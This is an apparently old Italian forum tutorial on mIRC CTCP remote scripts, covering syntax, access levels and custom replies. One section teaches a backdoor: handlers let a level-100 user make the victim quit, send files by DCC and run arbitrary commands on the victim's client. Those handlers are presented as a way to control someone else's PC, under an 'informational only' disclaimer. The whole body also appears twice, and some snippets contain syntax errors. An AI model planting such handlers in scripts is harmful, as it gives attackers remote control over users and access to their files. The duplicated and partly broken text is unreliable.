03-01-2008, 02:02 PM
Ora passiamo a descrivere l'importanza che i ctcp.
Bhe' i ctcp (client to client protocol) permettono all'utente di di mettersi in comunicazione con un altro utente, per questo (client to client : utente ad utente).
Quindi impostando comandi ctcp nel nostro client, si fa si' che il nostro client (mIRC) dia una risposta ai comandi o a richieste da parte di un altro utente.
Non vi siete chiesti: dove inserire questi comandi?
Bhe' la risposta e' semplice, nei REMOTE.
La loro sintassi e' semplice:
ctcp <livello>:<matchtext>:<*|#|?>:<comandi>
Analizziamo il comando qui' sopra scritto:
In questo caso <livello> indica per l'appunto il livello di accesso richiesto, <matchtext>sta ad indicare i vari comandi ctcp, *|#|? questo sta ad indicare dove deve avvenire il ctcp: * = dappertutto, # = nel chan, ? = nelle conversazioni private (query); <comandi> sta ad indicare l'attivazione di tali comandi alla richiesta del ctcp.
Esempio:
ctcp 1:domanda:?:/msg $nick che domanda devi farmi??
Analizziamo il comando:
In questo caso ho determinato "1" che e' il livello che sta ad indicare un qualsiasi utente, "domanda" che sta ad indicare il comando ctcp, ? che sta ad indicare il luogo, in questo caso nelle query; quindi chi vi fara' un ctcp voi risponderete: "$nick che domanda devi farmi??"
Vediamo alcuni esempi importanti:
ctcp 5:+h:#: /mode $2 +h $nick
ctcp 5:invitami:#: /invite $nick $2
ctcp 5:kikka:#: /kick $nick $2
Analizziamo questi semplici comandi:
Tali comandi permettono ad utenti di livello 5 di ricevere il comando scelto:
nel primo caso si dara' il +h (halfop) all'utente di livello 5, preposto che voi abbiate almeno (%), nel secondo caso faremo si che l'utente venga invitato nel canale ed nel terzo ed ultimo caso faremo si che l'utente venga cacciato da canala.
Come modificare i vari comandi standard dei ctcp:
Comandi standard: TIME,VERSION,PING,FINGER.
ctcp 1:ping:?: { /notice $nick ahooo! | /halt }
ctcp 1:version:?: { /notice $nick ahoo! ! /halt }
In questo piccolo esempio vediamo che: se facessimo un ping ad un utente di livello "1" cioe' ad un utente qualsiasi, vedremo che rispodera "ahooo!", /halt sta ad indicare che lo script non deve proseguire nella lettura.
ctcp 1:time:#: { /notice $ nick sono le ore $time | /halt }
Questo piccolo comando, dopo aver effettuato il ctcp, ci permette di sapere l'orario :D
Vi siete mai chiesti come far si che voi verreste avvertiti se un utente vi fa un ctcp?
Bhe' basta leggere questo comando:
ctcp 1:ping:{ //echo -a __4 $nick ha fatto un ping su di te }
Naturalmente potrete modificare il colore e aggiungere anche suoni ecc.
Ma se noi volessi sapere chi e' stato a farci un ctcp??
Bhe' basta leggere questo comando:
ctcp 1:#: { .set %ctcpnome $1 - | //echo -a __4 $nick %ctcpnome ha fatto il ping!! }
In questo caso si sapra attraverso la variabile %ctcpnome, la persona che vi fara' il ctcp.
Ma si puo' controllare il pc da remoto??
Bhe' si basta creare una backdoor, premetto che questi comandi sono usati dai lamer quindi tali comandi che qui' sotto vi porro' sono solo per scopo informativo :D
100:*!pippo@sito.it
ctcp 100:quit:?: { /notice Ciao capo, me ne vado a dopo $nick! | /quit }
In questo caso $nick e' colui che ha effettuato il ctcp e /quit e' il comando che permette di far usciere l'utente.
ctcp 100:send :?: /dcc send $nick $1-
Questo comando vi permettera' di farvi spedire un file che sara' presente nella cartella del mirc. Il comando per attivare il ctcp e': /ctcp nickname send nomefile.txt
ctcp 100:*:?:$1
Con questo comando potreste eseguire qualsiasi comando, quindi comandare la vittima; quindi cercate di capire la pericolosita' di tale comando, praticamente gli utenti potranno controllare il pc della vittima per utilizzarlo a loro piacimento.
Wilcards e variabili
ctcp 1:*domanda*:#:/notice $nick che domanda devi farmi??
Inserendo i caratteri wilcards * e ? si fa si che il comando venga eseguito anche se nel ctcp e' presente il termine citato. Se uno vi scrivera': /ctcp vostronick ho bisogno di aiuto, voi rispoderete: " $nick che domanda devi farmi??
ctcp 1:%password:?: /notice $nick puoi avere accesso
Facendo uso di questa variabile nella selezione matchtext potrete cambiare il valore quando volete.
Bhe' spero di essere stato chiaro e che la guida vi sia stata di aiuto ;)
Bhe' i ctcp (client to client protocol) permettono all'utente di di mettersi in comunicazione con un altro utente, per questo (client to client : utente ad utente).
Quindi impostando comandi ctcp nel nostro client, si fa si' che il nostro client (mIRC) dia una risposta ai comandi o a richieste da parte di un altro utente.
Non vi siete chiesti: dove inserire questi comandi?
Bhe' la risposta e' semplice, nei REMOTE.
La loro sintassi e' semplice:
ctcp <livello>:<matchtext>:<*|#|?>:<comandi>
Analizziamo il comando qui' sopra scritto:
In questo caso <livello> indica per l'appunto il livello di accesso richiesto, <matchtext>sta ad indicare i vari comandi ctcp, *|#|? questo sta ad indicare dove deve avvenire il ctcp: * = dappertutto, # = nel chan, ? = nelle conversazioni private (query); <comandi> sta ad indicare l'attivazione di tali comandi alla richiesta del ctcp.
Esempio:
ctcp 1:domanda:?:/msg $nick che domanda devi farmi??
Analizziamo il comando:
In questo caso ho determinato "1" che e' il livello che sta ad indicare un qualsiasi utente, "domanda" che sta ad indicare il comando ctcp, ? che sta ad indicare il luogo, in questo caso nelle query; quindi chi vi fara' un ctcp voi risponderete: "$nick che domanda devi farmi??"
Vediamo alcuni esempi importanti:
ctcp 5:+h:#: /mode $2 +h $nick
ctcp 5:invitami:#: /invite $nick $2
ctcp 5:kikka:#: /kick $nick $2
Analizziamo questi semplici comandi:
Tali comandi permettono ad utenti di livello 5 di ricevere il comando scelto:
nel primo caso si dara' il +h (halfop) all'utente di livello 5, preposto che voi abbiate almeno (%), nel secondo caso faremo si che l'utente venga invitato nel canale ed nel terzo ed ultimo caso faremo si che l'utente venga cacciato da canala.
Come modificare i vari comandi standard dei ctcp:
Comandi standard: TIME,VERSION,PING,FINGER.
ctcp 1:ping:?: { /notice $nick ahooo! | /halt }
ctcp 1:version:?: { /notice $nick ahoo! ! /halt }
In questo piccolo esempio vediamo che: se facessimo un ping ad un utente di livello "1" cioe' ad un utente qualsiasi, vedremo che rispodera "ahooo!", /halt sta ad indicare che lo script non deve proseguire nella lettura.
ctcp 1:time:#: { /notice $ nick sono le ore $time | /halt }
Questo piccolo comando, dopo aver effettuato il ctcp, ci permette di sapere l'orario :D
Vi siete mai chiesti come far si che voi verreste avvertiti se un utente vi fa un ctcp?
Bhe' basta leggere questo comando:
ctcp 1:ping:{ //echo -a __4 $nick ha fatto un ping su di te }
Naturalmente potrete modificare il colore e aggiungere anche suoni ecc.
Ma se noi volessi sapere chi e' stato a farci un ctcp??
Bhe' basta leggere questo comando:
ctcp 1:#: { .set %ctcpnome $1 - | //echo -a __4 $nick %ctcpnome ha fatto il ping!! }
In questo caso si sapra attraverso la variabile %ctcpnome, la persona che vi fara' il ctcp.
Ma si puo' controllare il pc da remoto??
Bhe' si basta creare una backdoor, premetto che questi comandi sono usati dai lamer quindi tali comandi che qui' sotto vi porro' sono solo per scopo informativo :D
100:*!pippo@sito.it
ctcp 100:quit:?: { /notice Ciao capo, me ne vado a dopo $nick! | /quit }
In questo caso $nick e' colui che ha effettuato il ctcp e /quit e' il comando che permette di far usciere l'utente.
ctcp 100:send :?: /dcc send $nick $1-
Questo comando vi permettera' di farvi spedire un file che sara' presente nella cartella del mirc. Il comando per attivare il ctcp e': /ctcp nickname send nomefile.txt
ctcp 100:*:?:$1
Con questo comando potreste eseguire qualsiasi comando, quindi comandare la vittima; quindi cercate di capire la pericolosita' di tale comando, praticamente gli utenti potranno controllare il pc della vittima per utilizzarlo a loro piacimento.
Wilcards e variabili
ctcp 1:*domanda*:#:/notice $nick che domanda devi farmi??
Inserendo i caratteri wilcards * e ? si fa si che il comando venga eseguito anche se nel ctcp e' presente il termine citato. Se uno vi scrivera': /ctcp vostronick ho bisogno di aiuto, voi rispoderete: " $nick che domanda devi farmi??
ctcp 1:%password:?: /notice $nick puoi avere accesso
Facendo uso di questa variabile nella selezione matchtext potrete cambiare il valore quando volete.
Bhe' spero di essere stato chiaro e che la guida vi sia stata di aiuto ;)